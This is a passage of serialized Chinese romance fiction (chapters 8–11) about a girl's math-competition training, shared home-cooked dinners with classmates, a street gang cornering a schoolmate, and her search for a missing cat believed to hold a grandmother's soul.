正常发挥罢了。
8. 第 8 章
但凡经历过学生时代的人都知道,下午第一节课上数学,简直堪称是新世纪酷刑之一。
尤其天气还炎热,教室外是热烈的阳光和零星蝉鸣,整个教室还沉浸在拉着窗帘昏昏欲睡的绵长午休气氛中。
尤其数学老师还是一个讲课斯文、语气毫无波澜的年轻男性。
稍一不注意,证明过程就将从开始的“证”到最后的“即”。
应琮不会为了努力学习而刻苦熬夜,自然也没有那么困。
但即使如此,她也不会瞪着眼睛,和其他同学一样炯炯有神地上数学课,关注着老师的一举一动。
应琮习惯边听课边在下面做自己的题,即使老师站在上面讲得分外投入,她也只是偶尔才抬头看看黑板。
虽然夜是不会熬的,该做的题却也不能少做。
只能抽时间做了。
说来也是挺不好意思,大部分同学都会在语文课上偷偷写数学题,她却没那个胆子。
高一时曾经效仿别人这么做过一次,被当时的语文老师逮住狠狠训了半节课,把原本犯困的同学都说清醒了,吃瓜吃得精神百倍。
从此她再也不敢了,认清事实:在语文老师面前,她像养女。
当然,看看自己并不漂亮的语文成绩,估计语文这科目也是她的养女。
也就数学和她是亲生的。
应琮专注地写着课外题,证明过程行云流水,但倾泻在纸面上却缺斤少两、只剩关键步骤。
没办法,亲生的孩子可以随意对待。
与她相比,坐在里面的盛逸就显得没那么认真了。
虽然同样是握着笔,但他埋头在草稿纸上写写画画,偶尔也会撑着脸,饶有兴致地观察教室里其他同学上课时的动作和神情。
发现丁一锐的脑袋像是成熟的稻谷一般慢慢弯了下来,他不由得一笑。
昨天晚上都十二点了,对方还在游戏上鏖战,活该。
“你看班长已经睡着了。”
盛逸憋不住一点坏,凑过去对同桌小声道。
应琮闻言抬头看了眼,然后一句话都没搭理,又继续回到练习册上,搞得跟学习委员一样。
?
盛逸当然没见过上课完全不吃瓜的同学,只以为都这么久了,新同桌还是对他不冷不热的,两人像是陌生人。
他摸摸自己的鼻子,说起来二人关系冰冷,好像就是从自己吃了肠粉那天开始的。
到底发生啥事了?
前几天不是还送过自己牛奶吗?
难道是因为自己把后面的桌子移走,她对此有意见?
没道理啊,移走桌子谁也没碍着啊。
盛逸挠挠自己的脸,再次主动挑起话题,试图缓和二人的关系。
“你在做今天的数学作业吗?太积极了吧。”以前也没见这么认真写题啊。
听到他的话,应琮忽然放下手里的笔,将练习册合上,又打开数学书。
“呃,”盛逸注意到她的表情有些不对,小声直球道,“你心情不好?”
应琮原本是不打算理他的,但余光里,盛逸偏向自己这边的脑袋实在太碍眼,便幅度极小地摇了摇头。
“上课时候安静一点。”她说。
好吧,又自讨没趣的盛逸退了回去,整个人倚靠在墙上,颇有些有气无力。
——和平时的样子大不相同。
他该不会被自己一句话伤到了吧?
有这么脆弱吗?
说完重话有些在意的应琮将自己左边的头发别在耳后,借此机会瞄了一眼同桌,试图察觉其状态。
对方虽然靠在墙上,但注意力明显已经转移到窗外的景色。
应琮顺着他的视线,同样往外看去。
楼下的篮球场上,一群学生正在激烈地抢球。
完全就是球赛实况。
盛逸看得认真,为了听声音,甚至还偷偷把窗户推开一道缝。
自己的同情心最近确实是有点泛滥了。
应琮收回自己的视线,心里悄摸翻个白眼。
……
好不容易下课,早已支撑不住的丁一锐直接倒了下去,趴在桌上和周公陷入缠绵。
“班长。”
睡得迷迷糊糊的丁一锐,听到有人在叫自己,似乎还是个女生。
他努力地掀起眼皮,艰难地支撑起自己的身子,试图维护自己的形象。
“怎么了?”
丁一锐抬眼看过去,发现站在自己桌旁的人竟然是应琮。
她来找自己干什么?
不是已经收下了她巧克力牛奶,谁也不欠谁人情了呀。
丁一锐的困意顿时无影无踪。
“下一节自习课,”应琮将手上的便签纸递过去,“我要去找年级里的吴老师上课,所以需要请假。”
见自己说得似乎不太明确,她又补充道,“吴国才老师,教数学的那个。”
“哦哦,好。”
丁一锐接过便签纸,上面是数学老师特有的潦草字迹,大概内容是自己有事要找应琮,但是请假条的单子没有了,所以才用这张纸替代。
落款虽是龙飞凤舞的签名,但依然能够辨认出是吴国才三个字。
“不过,统计缺勤不是我负责的,”丁一锐想起来什么,起身指了指前门附近的某个座位,“飞阳负责自习课的纪律和考勤,不过我可以帮你跟她说一声。”
“谢谢。”
应琮客气地点点头,拿着自己的笔记本从前门走了。
“她找你干嘛?”
应琮前脚刚走,丁一锐就听见自己的哥们在身后幽幽道。
“请假。”他将手里的便签纸拿起,示意,“吴国才要找她开小灶。”
“为什么是吴国才?”盛逸奇怪道。
他们现在是数学老师又不是他,哪有这样抢学生的。
“你不知道吗?”见副班长的位置上人不在,丁一锐将便签纸先收好。
“吴国才是专门带数学竞赛的,”他解释道,“你不也是参加竞赛的,这也不懂?”
这几天他们暑假时参加的竞赛成绩都陆续出来了,想来应琮成绩应该也不错。
“原来如此。”盛逸点点头。
怪不得一节课都在写数学题。
*
一连被“特训”了好几天,导致应琮看到竞赛题都有点抓狂。
自己不过是侥幸,擦边拿到了晋级名额。
结果现在每周三下午的自习课,都要去竞赛老师那里上思维课,并且还要“往死里”做往年的数学竞赛题。
没想到现在急迫到连晚饭都要没时间吃了。
“妈妈,”她站在办公室门前的公共电话前,声音里带着无奈,“我今晚没办法回家吃饭了,吴老师说要把参加竞赛的同学集合在一起,讲讲错题。”
“啊?”应雨柔声音带着些许失落,“可是妈妈已经准备好晚餐了哦,都是你爱吃的菜。”
自己特意一大早到菜市场挑到的最新鲜的食材。
“那我晚上放学之后再回家吃?”应琮也不想辜负妈妈的心意。
“这怎么行,”应雨柔拒绝道,“到了饭点不吃饭,对身体不好的。”
“妈妈等下把晚餐送过来吧,”她又道,“反正家和学校离得也不远
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。”
“可是……”应琮不好意思道,“只有我一个人让家长送饭,有点奇怪欸。”
毕竟又不是小孩了,家长送饭什么的……
“有什么奇怪的,”应雨柔想了想,三个人嘛,也不多,于是大方开口,“我多准备一些,你和朋友一起分吧。”
应琮刚准备拒绝,电话那头却已经挂了。
完了,她不安地抿抿唇,妈妈一定会搞得很正式。
*
因为每个班的自习时间安排不同,平时找老师上思维课,都是自己单独去。
所以她还没见过年级里同样和自己拿到晋级名额的同学。
应琮小心翼翼地左右看看,不自觉地轻叹一声。
果然,又和裴少言遇到了。
而坐在自己另一边的女生,其实也不算是完全陌生。
毕竟上次对方不小心撞到了她,两个人匆匆一瞥,一面之缘。
“时满,”讲台上的吴老师恰巧点名道,“你上来把卷子上第五题的答题过程写一写吧。”
女生轻轻起身,纤长的手指捏住白色的粉笔,认真在黑板上一笔一划。
看着对方严谨无缺的步骤,又看看自己漏了好几个证明过程的答案,应琮心下后悔,抓起红笔就开始在卷子上修改。
“好了,”讲完整张卷子后,吴国才看了看时间,又给每个人发下去两张卷子,“下周一的时候,你们把写好的卷子交上来。”
“不会写的题目,空着也没关系。”
可说完,他表情又严肃起来,“但既然是要参加国家级的竞赛,老师还是希望你们至少可以自己把题目大致搞明白。”
“做题的时候,思维一定要灵活,不能固守在公式、模板里。”
“是。”
听着老师的教诲,三人低声道,老实的像是小学生。
吴国才满意地点点头,临走前还不忘强调道:“从下周开始,周一到周四晚上这个时间,都要来走班教室上课。”
说是上课,其实就是给他们讲解讲解历年的试题。
见老师走远了,应琮犹豫地开口:“那个……大家应该都没有吃饭吧?”
收拾完东西准备起身离开的二人动作一顿,不明白她的意思。
“我妈妈送了饭过来……我们一起吃吧。”
应琮将放在后座的大袋子拿了过来,里面满满都是饭盒。
看到有些熟悉的粉色饭盒,裴少言微敛眉目,眼神柔软了些。
“谢谢你,不过还是算了吧。”时满客气一笑,拒绝道。
“不不不,我妈妈送了很多东西来。而且现在饭堂早就没有饭了。”
应琮生怕她要走,差点伸手去拉对方。
时满要是走了,岂不是就剩自己和裴少言一起吃饭了?!
万万不可以!
她表情恳切又真诚,原本打定主意的时满似乎是被她这么热情的态度惊住了,略一思索,也点头了。
既然时满答应了,应琮便轻松很多,又转头看看裴少言,不知道他是不是又不知好歹。
裴少言只是放下自己的笔记本,站起来帮她去拿袋子里的东西。
一共是八个形状颜色各不相同的饭盒,全部打开放在桌上时,颇有些震撼人心。
“你们千万不要客气!”
即使应琮有心理准备,但也不免吓了一跳。
怎么还有两盒切好了的水果啊!
“阿姨准备的也太多了吧。”时满有些不好意思。
应琮将筷子递过去。
“就当是庆祝我们都比赛晋级了吧。”
她莞尔一笑。
9. 第 9 章
早在应雨柔女士和丈夫感情破裂之前,她虽然也是职业家庭主妇的身份,却不比现在下厨房的次数多。
应琮不得不承认,虽然她爸婚内出轨,还对她们母女俩诸多隐瞒,行径恶劣,但光是说家务这一点,的确是没怎么让应女士经手的。
妈妈在对一切真相毫不知情的时候,确实是个幸福的富太太。
即使现在母女俩从高级别墅搬到了普通小区,但也不是雇不起保姆。
不过也许是刚刚经历婚姻变故,应雨柔潜意识里倾向于让自己忙起来,再加上女儿从原本无忧无虑的私立学校转到了市重点高中,她也第一次发现原来孩子的学习和生活需要操心的地方还挺多的。
于是应雨柔每天坚持给女儿做饭,到现在一年有余倒也没腻。
应琮也渐渐习惯了妈妈做的饭菜,还好她不怎么挑食。
其实应雨柔做菜不算难吃,甚至也有几道了不起的拿手菜。
但是应琮不得不承认,妈妈做菜,是有自己的奇思妙想的。
厨师界最忌讳的“灵机一动”,恰好是应雨柔的看家招式。
有时候是成功的,比如用意大利面做炒面,用柠檬汁代替白醋做酸辣土豆丝。
但有时候就比较一言难尽了,比如不小心买到苦瓜,但是应雨柔不喜欢苦瓜味,索性用西瓜一起炒、将水果冻干放进蛋挞里……
“这个菜会不会太咸?那个会不会味道有点奇怪?”
想到过去的情形,应琮小心地问道。
除以上种种创新菜式,应雨柔更多情况下是在调味上的灵活多变。
虽然应琮的味觉已经和妈妈的厨艺很熟了,但对于时满这样的新人,恐怕一时会难以接受。
“不,不会。”
时满很给面子,每一道菜都给予了高度的赞扬。
看起来居然不像演的。
“阿姨做的菜很好吃。”
就连在一旁的裴少言,也肯定道。
应琮假装没听到。
这时候倒是挺高情商的,还以为他都食不言寝不语呢。
三个额外开小灶的人里,只有时满没有带着自己的书包来。
饭后,应琮一边收拾一边在心里猜测:对方可能还要回去上晚自习。
果不其然,她刚问出口,负责擦桌子的时满便点点头:“我是住宿生。”
“那你快回班吧,别在这里收拾了。”
应琮记得学校对宿舍的管理还是挺严格的,到了点就必须熄灯睡觉,否则就要扣品行分。
虽然品行分修到满分也不会有什么额外的奖励,但毕竟这和班级荣誉挂钩。
以应琮高一的经验来看,他们一班应该还是比较在乎这些的。
“没事,”时满坚持留下来帮忙,“我作业已经写得差不多了。”
……
将所有饭盒都重新按照原来的布局放回袋中后,也差不多到了回家的时候。
和二人礼貌告别后,时满就带着自己的东西往楼下走去。
看看教室外的天色,浓黑如墨。
努力睁眼去看,才能勉强看到几粒芝麻大小的星子。
走读生应琮不需要上晚自习,她从书包里拿出自己的通行卡。
待背好书包,正准备去拿袋子时,却发现有人快她一步。
“我来拿吧。”
应琮向裴少言伸手。
裴少言就像没有听到一般,书包斜背在右边,另一只手提着袋子,自顾自往外走去。
他长得高,迈的步子也大,虽然走得速度没有明显加快,但也让跟在后面的应琮一阵好追。
现在天气还比较热,所以许多人都还穿着夏天的短袖校服。
可裴少言,依然规规矩矩地穿着校服外套,将每一颗纽扣都扣得整整齐齐。
这样的人……好像确实和任性的自己不太相配。
望着他的背影,应琮不知不觉地停下脚步。
“怎么了?”
停在楼梯拐角处的裴少言抬头,轻声道。
头顶的灯光是明亮的,映衬着少年人的眼眸也晶晶亮,仿若星子坠入其中。
应琮好像很少从这个视角俯视他。
一直以来,裴少言都是高高在上的模样。
哪怕她主动靠近,他也不低头不接受。
应琮摇了摇头,在他的注视下,慢慢走下来。
明明只是短短的几阶楼梯,却好像过了很久一样。
“不要再让阿姨给我特意留饭了。”
裴少言没头没尾地开口,在他旁边一言不发的应琮却听懂了。
这几天妈妈因为担心晚归的裴少言,所以每次都会专门多做一个人的饭,然后将保温饭盒放在他们家的门口的柜子上。
而第二天早上,每当自己出门上学时,也同样会在家门口的老位置发现已经被清洗干净的饭盒和一张感谢的字条。
偶尔也有一些吃的回赠。
只是短短一年的相处,他却连应雨柔的喜好都记得一清二楚。
就像以前他给自己整理笔记和题目也会放在那里一样。
裴少言就是这样,自己单方面的生气,他只当是不懂事的女孩在闹别扭,并不影响他的礼节。
“你的事情忙完了?”她问。
“的确。”
裴少言看了一眼和他并肩而行的人,语气温和。
“哦。”
应琮看着前方的路,目光没有偏移。
“那我回家和她说一声。”
过了一会儿,她像是终于忍不住了,又添上一句:“上次你帮我整理的资料……”
裴少言看她。
“……还在吗?”
“我明天出门前,放在老位置给你。”裴少言终于微微一笑。
*
上学的日子好像就是这么千篇一律,应琮按部就班地上课、回家。
然后下午放学时留下来,和裴少言时满他们齐齐接受来自数学的“拷打磨练”后,三人再一起吃饭。
她和裴少言之间也总算恢复到一般朋友之间的正常氛围。
应琮和时满也成为了朋友,课余时偶尔会相互分享生活中的小事。
飞快的,开学都快到第三周了。
“家人们!我不得不告诉大家一个非常骇人听闻的事情!”
一早,丁一锐进门就大声宣告道,吸引了教室里所有人的视线。
骇人听闻的事情?
刚踩点进班的几名同学连自己的座位都没回,停下脚步等待下文。
坐在位置上的应琮也忍不住放下手中的酸奶。
“怎么了怎么了?”有人问。
能让班长紧张成这样的,总不能是月考的日期提前出来了吧?
丁一锐顾不得放下书包,直接坐在自己的桌子上,表情深沉。
“我们学校最近……有点不太平啊。”
他的语调和平时管纪律、做报告时截然不同,仿佛师承于影视剧中坐在茶馆中央的说书人,令听众们不由得也提着一口气。
“听说在学校附近的街区里,最近有不少社会青年游荡。”
丁一锐环视众人一圈,声音也颇有悬念的低沉几分,“他们的目标就是形单影只的高中生。”
“也就是你我。”他拍拍自己,有些心疼。
“啊……”周围有人惊讶出声,这很坏了。
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“这些人什么事都干得出来,”丁一锐表情严肃,“不光是敲诈勒索,有时候就算破财了,都免不了一顿打。”
“这么嚣张?”柳飞阳听不下去了,“一直没有人去管吗?”
既然是学生,被人敲诈勒索了,应该及时上报学校或者是报警啊!
怎么能一直放任不管,助长他们的气焰。
“你以为不想管吗?”丁一锐伸出手指左右摇摇。
“这些人是团伙作案,有专门通风报信的人,消息灵通的很。一有风吹草动的,就躲到其他地方避风头了。”
“而且啊……”
说话间,他的声音又小了些,似乎要说什么不为人知的秘密。
应琮悄悄往前移了移自己的椅子,屏息静听。
“听说最近这伙人,专门喜欢为难长相清秀帅气的男高中生。”丁一锐摇头晃脑道,“还是落单的那种。”
唉,自己也是清秀帅气的男高中生一枚,千万要保护好自己和钱财的安全啊!
是不是应该雇个保镖比较好?
其他人也面露紧张之色,和周围的同伴叽叽喳喳讨论起来。
“他说的没错。”
忽然听到熟悉的声音,众人默契地转过头看去。
许文言将手上的书本放下,站在讲台上,面上没有笑容。
班里同学顿时作鸟兽散,乖乖回到自己的位置上坐好。
“学校最近也接到了好几次学生的反馈,西街出现了社会青年聚众抢劫的恶性事件。”
“所以,”许文言认真地看着自己的学生们,“走读生们下午放学最好立刻回家,晚上不要长时间在外面逗留。也不要结交社会上的不良朋友,尽量少去、不去游戏厅、网吧等容易鱼龙混杂的场所。”
“感觉有人尾随,或是情况不对劲时,一定要大声呼救或报警。”
下面有同学点点头。
许文言特意用自己早读前的几分钟,重新向这群高中生们强调安全教育的重要性。
真是多事之秋。
应琮想到自己这段时间还要留在学校特训,等吴国才讲完题目,天早就黑了。
让妈妈开车来接自己?
她又摇摇头,没必要那么麻烦吧。
“我记得你也是走读的,”原本趴在桌上的盛逸侧过头来,“每天都一个人回去吗?”
“不完全是。”应琮回道。
自己之前会和依依一起回家,但两个人只有一小段能同路。
现在晚上要去吴老师那里上课了,就变成和裴少言一起回去。
他们两个人一起走,不至于会被盯上吧。
应琮在心里衡量回家的安全性。
“哦,”盛逸将头转回去,“那你多注意安全,毕竟很多坏人专挑女孩欺负。”
“他们不是喜欢为难男生吗?”应琮随口道,“你不也是走读的?”
班里的走读生就他们几个,也不知道班主任是有意还是无意,大家都被分到同一组里。
与其操心自己,同桌倒不如先担心担心自己的安危吧。
“我?”
听出她语气里的调侃,盛逸坐直身子,抬起胳膊露出上面结实的肌肉。
自己可是从小就学习空手道和拳击,这么多年来从未放弃训练,现在就算是一打四也不在话下。
只不过他生性善良,不愿意仗势欺人罢了。
“如果有人敢欺负到我头上,那让他们放马过来好了。”
他露出志在必得的笑容,有些刺眼。
应琮看了一眼,有些好笑地别过头。
笨蛋。
不是有肌肉就代表武力高强的。
10. 第 10 章
养成一个习惯只需要几天。
对于数学补课小分队而言,应雨柔女士时不时的投喂已经成了他们辛苦一天之后隐秘的期待。
对于应女士而言,手艺得到了女儿和同学们的认可似乎比其他的更幸福。
至少比她那个入不敷出的咖啡店好多了。
因此也一次比一次积极,菜色不断推陈出新。
“应琮,想不到你妈妈还会做马蹄糕。”时满惊喜道。
吃过几次应琮妈妈做过的饭后,时满坚定地认为对方是料理界的天才。
真羡慕应琮可以经常大饱口福!
面对她的夸奖,应琮面上笑笑,内心汗颜——时满比她这个亲女儿还会吹捧。
嘴上却谦虚道:“虽然我妈做菜不算出色,但她做这些小点心什么的,还是很有一手的。”
“能把马蹄糕的层次做得这么均匀,足以说明阿姨的手艺了。”裴少言难得发表十五字以上长评。
“那你们赏脸,多吃一点吧。”
“对了应琮,这个给你。”
正式吃饭前,时满将自己在学校小卖部买的巧克力牛奶递过去。
“为什么要给我这个?”应琮顺手接过,但不解。
“因为……”时满回避与她对视,伸手抚了抚自己的后脖颈,“经常受你和阿姨的照顾,有些不好意思嘛。”
她是住宿生,只能去小卖部买礼物。
偏偏学校小卖部又物资匮乏,只有这个牛奶包装设计很可爱,勉强可以做礼物。
“啊,太客气了……”
应琮太久没交新朋友,一时不太适应这样的氛围,拿着牛奶有点不知所措。
两个女生虽然并排而坐,可一直都保持着一定的距离。
此时又莫名的因为客套社交而脸皮变薄,空气中似乎漂浮着让她们刻意回避对方视线的微粒。
“她更喜欢草莓味的,你下次可以送她这个味道的牛奶。”
似乎没有感受到周围僵硬的空气,坐在另一边的裴少言淡淡开口道。
就像是艾莎女王和安娜相对无言即将飘雪花的时候,闯入了一个画外音。
应琮飞快转头瞪了裴少言一眼。
多嘴什么?!
重点是牛奶的味道吗?
重点明明是自己并不想让一起吃饭这件事变成对方的心理负担。
本来只是妈妈多做的一些饭菜让她分享的简单小事,现在倒像是让他们欠下自己的人情。
“好的,我记住了。”时满点点头,显然是听进了心里。
“应琮,下次我会给你带草莓味的牛奶。”她认真地看过来。
“嗯嗯,谢谢你。”应琮连忙点头。
“吃饭吧。”裴少言自然地开口。
应琮也拿起筷子,瞟了一眼裴少言的表情。
好吧,他没有表情。
但……或许,他只是为了打破令人尴尬的沉默才那么说?
是巧合吗?
还是裴少言这家伙内心潜藏的人性觉醒了?
巧合吧,应琮在心里道。
如果裴少言的情商真有那么高,当初就不会用那堆练习册来狠狠给自己一个难堪了。
在面目又变得咬牙切齿之前,应琮及时给嘴里塞一口米饭,当成裴少言狠狠嚼碎。
英雌不提当年耻。
三人安静地继续吃饭,整个过程中,裴少言都没有再开口参与她们两位女生的聊天。
*
“对了,我妈妈做的另一个点心也很好吃。”
饭后,应琮叉起来一块晶莹剔透的马蹄糕,首先递给时满。
她发现对方在吃饭的过程中,眼神几次不经意落在上面。
学数学已经很痛苦了,多吃点甜食才是正义。
“是什么?”
时满的眼睛亮晶晶的,似乎很感兴趣。
“八宝糕。”应琮也放入嘴里一块马蹄糕,嚼嚼。
“我妈以前特意和一个阿姨学的,这个里面有花生啊、核桃、豆沙什么的,馅料很丰富。”也很好吃。
说罢,她又惋惜地叹了一口气,“可惜自从我妈有次过年做八宝糕时,被溅起来的油烫到后,她就再也没有做过这个了。”
彼时,自己和那个男人是提出想吃八宝糕的“罪魁祸首”,而她的妈妈还是一个娇气的富太太,对油锅的掌握还不甚熟练。见她被烫到,自己那渣爹还一派柔情地给应女士呼呼吹气,嘴上说着对不起,以后再也不让她受伤。
骗子。满嘴谎言。
“我最喜欢吃的就是这个了……”
应琮面露惋惜,还多了一丝说不清道不明的情绪。
一朝被蛇咬,十年怕井绳。
更何况应雨柔女士实在是一个胆小的人。
应琮估计,八宝糕只能成为自己记忆里的一段绝唱了。
“如果她做了,我再带给你吃。”她承诺道。
听她绘声绘色的形容,时满也适当表示遗憾。
不过很快她们就自然地转向下一个话题。
二人说话间,应琮忽然注意到一直在旁边沉默不语的裴少言。
神情格外专注,好像在思考什么数学难题。
他的手上竟然还拿着一开始自己递过去的马蹄糕,看看大小,几乎一口没吃。
看样子压根对甜食不感兴趣啊。
应琮又看了看盒子里所剩无几的马蹄糕。
果然女生有装甜品的第二个胃,那些马蹄糕显然都是自己和时满吃掉的。
她俩才是在身体力行地支持光盘行动啊。
应琮完全忘记了自己在开始时说让二人多吃一点的客套话。
*
今天吴老师只简单讲了几道题便让他们放学了,所以吃饭结束的也早。
二人走出校门时,天边是一片灰蓝色,将黑欲黑。
几只尚未归巢的鸟,扑愣愣地从头顶飞过,融入远处的暮色中。
“你先回去吧。”
走到熟悉的小区门前,裴少言忽然停下脚步,扭头看着她。
“?”
应琮面露不解。
“想起来家里有些东西用完了,需要去买。”裴少言将装着空饭盒的袋子递过去,淡淡道。
虽然应琮从来没有专门去打探过,但因为有裴奶奶在,也多少了解一些关于他家里的情况。
自从裴奶奶去世后,家里就只剩下一人一狗住在这里。
不知出于何种原因,裴少言没有和自己的父亲住在一起。
应琮搬来一年多,也只在小区门口见过一次裴父,父子关系似乎也不怎么样。
正是因为对方和自己年纪相当,却独自居住,所以妈妈总想着要顺手帮帮他。
“哦。”
听到对方要去买些生活用品,应琮没有多想,独自走进小区。
裴少言看了看还没完全漆黑的天色,若有所思。
片刻后,他转身往另一个方向走去。
那个高瘦挺拔的身影,渐渐消失在街巷的转角处。
*
西街,自有记忆始,裴少言便和外婆外公生活在这里。
西街的一草一木,一街一巷,他都再熟悉不过。
因为那个男人工作调职的需要,所以母亲生下自己不久,便跟着他去了邻市。
留下他和外婆外公生活。
天色已经越来越阴沉了,低低地压了下来,他的脚步不由得加快几许。
现在已经过了下班放学的晚高峰,路上的人并不算多,但每一个人的脸上都是如出一辙的麻木,行色匆匆。
裴少言看不见自己脸上的表情,但他最擅长的就是没有表情,不表达出自己的任何情绪。
想来和这些人
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也没什么区别。
五金铺、水果铺、药店……
这条路直走到尽头,转向右边的巷子里,有一个专门卖各类中式点心的摊子。
小的时候,外婆接他放学回家时,二人会专门绕远路,来到这个小摊前,找摊主买上几块点心。
祖孙俩一边吃,一边慢慢顺着路往家的方向走,这样回家时就能刚好吃完手上的东西。
长大后,虽然外婆不再每天接自己放学,但当他推门回家时,总能在桌上发现熟悉的点心。
就像是一种传统。
这么多年过去了,小摊依然是那个小摊,点心的味道和分量依然如旧。
卖点心的阿姨却无法避免岁月给自己留下印迹。
裴少言清楚记得,上一次自己和外婆一起过来时,对方的眼角明显爬上了皱纹,腰背也不如过去硬朗。
时光太匆匆,自是人生长恨水长东。
自从外婆离开自己后,他再也没有走过这条路。
不知道阿姨今天有没有出摊?
裴少言沿着记忆里的路线,快步往前走着。
忽地,他迈出的脚步一滞。
裴少言停立在原地,微微转头看去。
两个陌生的黄毛青年拽住了他书包两边垂下的带子,正笑嘻嘻地看着自己。
“哥们,”其中一个矮些的男生直接搂住他的脖子,熟络道,“有没有这个?”
他伸出两根指头搓搓,笑里藏刀。
要钱?
裴少言眸子露出几分难掩的厌恶,侧身避开肢体接触。
看来自己遇到了最近校园传闻中的恶性事件。
“别这么看着我们嘛,”另一个穿着黑色背心的男生抬手用力拍拍他的后背,“大家都是哥们,借点钱花花怎么啦?”
“一中的好学生,家里应该不吝啬零花钱吧?”
感受到他话里的嚣张以及动作中的恶意,裴少言不动声色地环顾四周环境。
这里是巷子的尽头,旁边只有两个高大的垃圾桶。
如果要跑的话,至少要跑到两百米开外的地方,那里有一些店铺,或许会有人伸出援手。
似乎是经验使然,黑色背心低下头,锐利的眼神扫过他的脸。
“不要想着逃跑啦,”他故意将自己的胳膊紧紧压在裴少言的肩膀,嘴上小声警告道,“我们的兄弟已经把这块区域都包围了。”
“是吗?”
裴少言冷冷抬眸,突然挣开他的束缚,飞快往前跑去。
“明明老实给钱就可以解决的事情,为什么非要闹呢?”
看着他往另一个方向快速奔跑,自以为逃脱的样子,黑背心转了转脖颈。
好久没有遇到敢反抗自己的“猎物”了。
“把他给我抓回来。”
他看着从各个路口冒出来的身影,笑里是势在必得。
*
裴少言没有想到,对方竟然嚣张到这个地步。
十几个社会青年,从四面八方向自己包围而来,有的手上甚至还拿着棍棒。
远远有路人看到这架势,马上仓皇而去,甚至不敢多看一眼。
两相对比,自己的身上只有书包。
他抿了抿唇,看来今晚,后果难料。
“怎么样,害怕了吗?”
看到他已经被自己的小弟包围在中间,黑背心慢慢从后走来,语气充满玩味。
对于这种人,裴少言只是将头转向一边,态度漠然。
“老子最讨厌你这种装x的学霸!”
被他的冷漠镇静所激怒,黑背心扬起自己的拳头就要挥下。
“住手!”
电光石火间,一道怒喝伴随着夜间准时亮起的灯光,出现在众人眼前。
好不容易克服逆光,裴少言看清来人的脸,瞳孔微睁。
怎么会……?
11. 第 11 章
回到家后的应琮将饭盒从袋子里拿出来,泡在厨房的水槽里。
家里静悄悄的,她回来时,只有客厅中间的灯亮着,不知道妈妈去了哪里。
有点罕见啊……
她在家转了一圈,确认妈妈的确不在家之后继续洗饭盒。
不对……应琮停下手上的动作。
怎么感觉氛围和平时相比,安静得有些诡异。
她四下看看,客厅的地板上散着咪咪的玩具,靠墙的饭盆里还装着满满当当的食物。
咪咪呢?
应琮把家里所有的灯“啪嗒”一声全打开,一边唤着咪咪的名字,一边开始在家中搜索起来。
堆放着收下来还没叠的衣服的沙发上,阳台的花盆附近,洗衣机的滚筒里,房间衣柜的最顶端……
地方不大,应琮很快就将家中上上下下都找了一遍,然而一无所获。
咪咪是一只纯黑色的猫,按道理来说,在亮的地方很容易被发现才对。
可现在毫无踪迹可言……
“妈妈,你有看到咪咪吗?”应琮拨通妈妈的电话。
“咪咪?”应雨柔倒是很快就接通了电话,语气有些意外,“她没有好好地在家里吃饭吗?我出门丢垃圾之前刚刚给她倒了晚饭呢。”
也就是说咪咪失踪不久,应琮挂断电话,心下一沉。
饭碗是满的,它连东西都没来得及吃,就不见了。
应琮坐在沙发上,不安地咬着自己的手指尖。
她进门时,门窗都是正常关闭的状态,家里的物品陈设也没有变化,不像是有人入室盗窃的样子。
也不会有人专门来家里偷走一只小猫吧?
更何况,咪咪不仅是一只简单的猫啊!
它小小的身体里面,可是还装有裴少言外婆的灵魂啊。
按道理应该不会无缘无故跑丢……应琮脑子里有些混乱。
万一……怎么办?
裴少言还不知道外婆就住在他家隔壁。
或许是因为家中此时太安静了,听着头顶时钟滴答滴答的走秒声,应琮感觉自己的心跳都有些异常加快。
地板冰凉凉的,她的手和脚也变得有些冷。
不行!
应琮从地上爬起来,她快步跑回房间,再出来时,手上多了一个红绿色的塑料球。
自己不能就这么干坐着,应该去外面找找。
或许是外婆这阵子没精力出来,在妈妈出门丢垃圾时,真正的小猫咪咪从门缝中悄悄溜了出去。
猫毕竟是很机灵的生物。
应琮将咪咪最爱的玩具球放进自己的外套口袋,攥紧手机和钥匙,快步跑出家门。
*
她来到楼下,正好在干洗店门口遇到还没被主人接回去的池小婷。
“小婷,你闻闻看,路上有没有咪咪的味道。”应琮将口袋里的小球拿给狗狗闻。
据她的经验,小婷也是一只可以听懂人话的聪明小狗,虽然裴奶奶说它只是一只普通狗狗。
不过,小婷怎么还没被接回家?
小区附近明明有两家不同规模大小的超市……裴少言买个东西需要这么久吗?
她的脑海中冷不丁地浮现出种种疑问。
“汪汪!”
但还没来得及深思,小婷的叫声就将她拉回现实。
即使是脖子上挂着绳圈,但狗狗依然将自己的整个身体朝向一边,用尽浑身解数努力为她指着方向。
“你是说咪咪往这里走了吗?”应琮指着自己的右边,确认道。
“汪汪!”狗狗又叫了两声,十分坚定自己的答案。
“好,谢谢你!”应琮揉了揉它的脑袋,“下次我给你买最贵的肉罐头来!”
她原本想带着小婷一起去找咪咪,但又怕等下裴少言回来了见不到狗会着急。
自己没有事先征求狗主人的同意,还是算了。
应琮朝着小婷指明的方向,小步但紧张往前走。
天已经完全黑了,而小区门前的路灯又不是很亮,倒显出几分惨白来。
应琮将手机自带的电筒打开,借助微薄的光明,驱散黑暗。
她一边放慢跑步的脚步,一边紧张地左右张望,生怕自己会错过一处阴影。
阴影里,或许就藏着咪咪的身影。
“咪咪,咪咪……”
应琮小声地叫着,弯腰去看两边停着的车底。
最早的时候,她一开始就是在车的附近被捡到的,孤零零、瘦弱的小猫。
现在正值饭点,路上除了突然出现的电动车外,几乎没什么人还在外面走。
沿着这条路跑了半天,应琮还是什么都没发现,反倒出了一身汗。
要是可以报警就好了,警察会管吗?
她微微弯腰,在原地平复着呼吸,越是紧张,就越是容易走神乱想。
思绪混乱间,忽然隐约听到有猫在叫。
是咪咪吗?
微弱的猫叫声一下给她又灌注了力气,应琮站直身子,握紧手上的手机,试图辨认声音的来源。
猫叫并不是连续的,而是偶尔传出来一声。
声音听在耳朵里也有些模糊,或许是从距离很远的地方发出来的。
难道只是路过的野猫?
应琮有些害怕是自己多心,到时再无端浪费时间。
可面前的这条路即将走到尽头,看着方向截然相反的两条岔路。
她没有头绪,也没有把握。
算了,应琮拿定主意,无论如何,自己还是应该过去看看。
不怕一万,就怕万一。
她将耳朵靠近墙,仔细倾听。
片刻后,又从远处传出几声模糊的猫叫,还有一些沉闷的声音,混杂在一起,让人心头萦绕一层挥之不去的阴云。
混乱。
应琮脑中出现了这个词,她深吸一口气,让自己定了定神,随即坚定地踏上右边的那条路。
她相信那是咪咪给她的指引。
*
右边的街巷更加狭窄,两边又有一些乱停放的电动车,再加上头顶的路灯年久失修,并不明亮。
